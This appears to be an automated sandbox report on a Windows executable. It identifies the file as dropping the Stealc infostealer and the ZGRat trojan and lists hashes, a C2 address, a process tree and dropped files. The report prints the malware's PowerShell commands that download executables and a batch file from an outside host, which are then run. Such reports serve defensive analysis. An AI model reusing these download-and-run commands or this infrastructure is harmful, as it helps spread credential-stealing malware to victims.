Analysis

  • max time kernel
    195s
  • max time network
    297s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06-05-2024 22:48

General

  • Target

    7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe

  • Size

    49KB

  • MD5

    705685a8deace858e7fc849471c045f3

  • SHA1

    10132365b465a6f231c8e292f462c2d005b4f9b0

  • SHA256

    7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9

  • SHA512

    b9dd7d5ca384ff4ad053d5f01d721f1180b1028e40c96cd94e04f2b2965e2f4be6cf4d2595f67c3e62039320b517e32200ffec165a9c544344d666732a57c56d

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpyFI+Plt:Xfi3k+oWDBDh1duFpXWlt

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
    "C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsb706E.tmp\lood.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:164
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2280
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1744
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4520
        • C:\Users\Admin\AppData\Local\Temp\u3hk.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u3hk.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4204
        • C:\Users\Admin\AppData\Local\Temp\u3hk.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u3hk.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:1232
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:528
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:308
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:2024

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Are.docx

      Filesize

      11KB

      MD5

      a33e5b189842c5867f46566bdbf7a095

      SHA1

      e1c06359f6a76da90d19e8fd95e79c832edb3196

      SHA256

      5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

      SHA512

      f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      66382a4ca6c4dcf75ce41417d44be93e

      SHA1

      8132cbef1c12f8a89a68a6153ade4286bf130812

      SHA256

      a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

      SHA512

      2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      76f3e1b0dc707cfc0dc76b3890df2d55

      SHA1

      f5878b9c3b57bdb32c255bf533a46c1a049f7383

      SHA256

      b3026bdd907a3a1e5494a30a88f483c114368b59770fbca68e0f0aae397cf4cc

      SHA512

      8407cbe289c94d9189d4d54541ed012e3615a2000e859b2df483dc5370c85427bacfa8f6b4f32d98b2a81505aab1663c1e8bffbcb62b283d6cd01b6047ebc896

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      e6d367055b833d464901274ffcd251d2

      SHA1

      00acf6b1a702c36a75f6cd209b040bed2f0639ec

      SHA256

      0358af000a3431e207938358cdc405565c06a6c315f8c05aa98d969f1fbc3504

      SHA512

      2e401c3697efd0de7e6ac45ef25081de2fa302369daa100f5cb1d8d15f0b70d9af21f5777c6ec5df76c6725d9a3a6ac6410d5f447124b07079a75edd0ea609f2

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfhkva3l.eor.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • C:\Users\Admin\AppData\Local\Temp\i1.exe

      Filesize

      423KB

      MD5

      5b82c33ae65525d14793909ec833f42f

      SHA1

      37d51bb30d2351213f492fb6622a627230f6b4b3

      SHA256

      6f5fa0aa57d4db23a970f02f8880ce42550cbe5b6f9122122547c7324d3ef2ef

      SHA512

      7822af9ec5be6d0be42726d67372de8295e4b9b1b2e069d43552b7d1f698b8a6dd72393294fe99709d7fc9a30389b1cf735fbb41a7c7ee1b4a5a58b25b7d7099

    • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

      Filesize

      3KB

      MD5

      b73518b56c4cdba6cdbd885d801a55d4

      SHA1

      27b42ce9830ef8ef4e08556389eb5885437436f8

      SHA256

      1f0539d9e5e07f21580ab895402f8c413ba1bdaf87bedbd4c13bf2f833997ecc

      SHA512

      8a89dc636967d34c6ff50a9119b45c51b3c8dadbe8ab98f76bec1a812c5dbff83a37b5f573b3093808c31d0093eab0475067adf31d48e0ba6083b4f1be0cb846

    • C:\Users\Admin\AppData\Local\Temp\nsb706E.tmp\lood.bat

      Filesize

      556B

      MD5

      1d5830e49fb8ad21e3c1e3333b819e7f

      SHA1

      ee70e4b9c36d0bbcefce139bac51abadbd985197

      SHA256

      8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

      SHA512

      1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

    • C:\Users\Admin\AppData\Local\Temp\u3hk.0.exe

      Filesize

      282KB

      MD5

      f72e01dfb65e6409cb0fc611e466e9d5

      SHA1

      e3d9f9d5e531ea1537bbecbf8064c5772a3c4a26

      SHA256

      7eec5c68ccc964cae08684c73b65a0427623454286b253b4ee4453dc1aa93bbf

      SHA512

      7f47b5e7d997d923ca3d2a481bd8754b01c444c3be284b01e8577e58632bf1b69db87927e57079999e9ffc4dc1d50c45b68a5ce3b4ad58bdcf55d48acb9a87c1

    • C:\Users\Admin\AppData\Local\Temp\u3hk.1.exe

      Filesize

      4.6MB

      MD5

      397926927bca55be4a77839b1c44de6e

      SHA1

      e10f3434ef3021c399dbba047832f02b3c898dbd

      SHA256

      4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

      SHA512

      cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

    • \ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • \ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • \Users\Admin\AppData\Local\Temp\nsb706E.tmp\INetC.dll

      Filesize

      25KB

      MD5

      40d7eca32b2f4d29db98715dd45bfac5

      SHA1

      124df3f617f562e46095776454e1c0c7bb791cc7

      SHA256

      85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

      SHA512

      5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

    • memory/528-213-0x0000026FEC0F0000-0x0000026FEC140000-memory.dmp

      Filesize

      320KB

    • memory/528-225-0x0000026FF1780000-0x0000026FF17E2000-memory.dmp

      Filesize

      392KB

    • memory/528-215-0x0000026FE98A0000-0x0000026FE98AA000-memory.dmp

      Filesize

      40KB

    • memory/528-210-0x0000026FE9890000-0x0000026FE989A000-memory.dmp

      Filesize

      40KB

    • memory/528-214-0x0000026FEC0A0000-0x0000026FEC0C2000-memory.dmp

      Filesize

      136KB

    • memory/528-205-0x0000026FEBDB0000-0x0000026FEBEBA000-memory.dmp

      Filesize

      1.0MB

    • memory/528-221-0x0000026FF05D0000-0x0000026FF05D8000-memory.dmp

      Filesize

      32KB

    • memory/528-223-0x0000026FF0630000-0x0000026FF0638000-memory.dmp

      Filesize

      32KB

    • memory/528-211-0x0000026FEB9D0000-0x0000026FEB9FA000-memory.dmp

      Filesize

      168KB

    • memory/528-222-0x0000026FF1460000-0x0000026FF1498000-memory.dmp

      Filesize

      224KB

    • memory/528-226-0x0000026FF17E0000-0x0000026FF1802000-memory.dmp

      Filesize

      136KB

    • memory/528-219-0x0000026FEC480000-0x0000026FEC780000-memory.dmp

      Filesize

      3.0MB

    • memory/528-227-0x0000026FF1D30000-0x0000026FF2256000-memory.dmp

      Filesize

      5.1MB

    • memory/528-212-0x0000026FEBFF0000-0x0000026FEC0A2000-memory.dmp

      Filesize

      712KB

    • memory/528-206-0x0000026FE9840000-0x0000026FE9850000-memory.dmp

      Filesize

      64KB

    • memory/528-209-0x0000026FEB990000-0x0000026FEB9B4000-memory.dmp

      Filesize

      144KB

    • memory/528-208-0x0000026FE98B0000-0x0000026FE98C4000-memory.dmp

      Filesize

      80KB

    • memory/528-224-0x0000026FF1760000-0x0000026FF176A000-memory.dmp

      Filesize

      40KB

    • memory/528-230-0x0000026FF1770000-0x0000026FF177C000-memory.dmp

      Filesize

      48KB

    • memory/528-207-0x0000026FE98D0000-0x0000026FE98DC000-memory.dmp

      Filesize

      48KB

    • memory/528-231-0x0000026FF18C0000-0x0000026FF1936000-memory.dmp

      Filesize

      472KB

    • memory/528-232-0x0000026FF1820000-0x0000026FF183E000-memory.dmp

      Filesize

      120KB

    • memory/528-204-0x0000026FE5C50000-0x0000026FE9484000-memory.dmp

      Filesize

      56.2MB

    • memory/1232-185-0x0000000000400000-0x00000000008AD000-memory.dmp

      Filesize

      4.7MB

    • memory/1232-167-0x0000000000400000-0x00000000008AD000-memory.dmp

      Filesize

      4.7MB

    • memory/1744-57-0x00000000082F0000-0x000000000833B000-memory.dmp

      Filesize

      300KB

    • memory/2280-31-0x00000000084F0000-0x0000000008566000-memory.dmp

      Filesize

      472KB

    • memory/2280-28-0x0000000007DD0000-0x0000000008120000-memory.dmp

      Filesize

      3.3MB

    • memory/2280-20-0x0000000072D3E000-0x0000000072D3F000-memory.dmp

      Filesize

      4KB

    • memory/2280-21-0x00000000049E0000-0x0000000004A16000-memory.dmp

      Filesize

      216KB

    • memory/2280-52-0x0000000072D30000-0x000000007341E000-memory.dmp

      Filesize

      6.9MB

    • memory/2280-48-0x0000000072D30000-0x000000007341E000-memory.dmp

      Filesize

      6.9MB

    • memory/2280-47-0x00000000092B0000-0x00000000092CA000-memory.dmp

      Filesize

      104KB

    • memory/2280-46-0x0000000009BD0000-0x000000000A248000-memory.dmp

      Filesize

      6.5MB

    • memory/2280-23-0x00000000075C0000-0x0000000007BE8000-memory.dmp

      Filesize

      6.2MB

    • memory/2280-30-0x0000000008220000-0x000000000826B000-memory.dmp

      Filesize

      300KB

    • memory/2280-29-0x0000000007540000-0x000000000755C000-memory.dmp

      Filesize

      112KB

    • memory/2280-24-0x0000000072D30000-0x000000007341E000-memory.dmp

      Filesize

      6.9MB

    • memory/2280-27-0x0000000007D60000-0x0000000007DC6000-memory.dmp

      Filesize

      408KB

    • memory/2280-26-0x0000000007CF0000-0x0000000007D56000-memory.dmp

      Filesize

      408KB

    • memory/2280-25-0x00000000074E0000-0x0000000007502000-memory.dmp

      Filesize

      136KB

    • memory/2280-22-0x0000000072D30000-0x000000007341E000-memory.dmp

      Filesize

      6.9MB

    • memory/4204-119-0x0000000061E00000-0x0000000061EF3000-memory.dmp

      Filesize

      972KB

    • memory/4204-186-0x0000000000400000-0x0000000001A10000-memory.dmp

      Filesize

      22.1MB

    • memory/4204-166-0x0000000000400000-0x0000000001A10000-memory.dmp

      Filesize

      22.1MB

    • memory/4204-243-0x0000000000400000-0x0000000001A10000-memory.dmp

      Filesize

      22.1MB

    • memory/4520-110-0x0000000000400000-0x0000000001A34000-memory.dmp

      Filesize

      22.2MB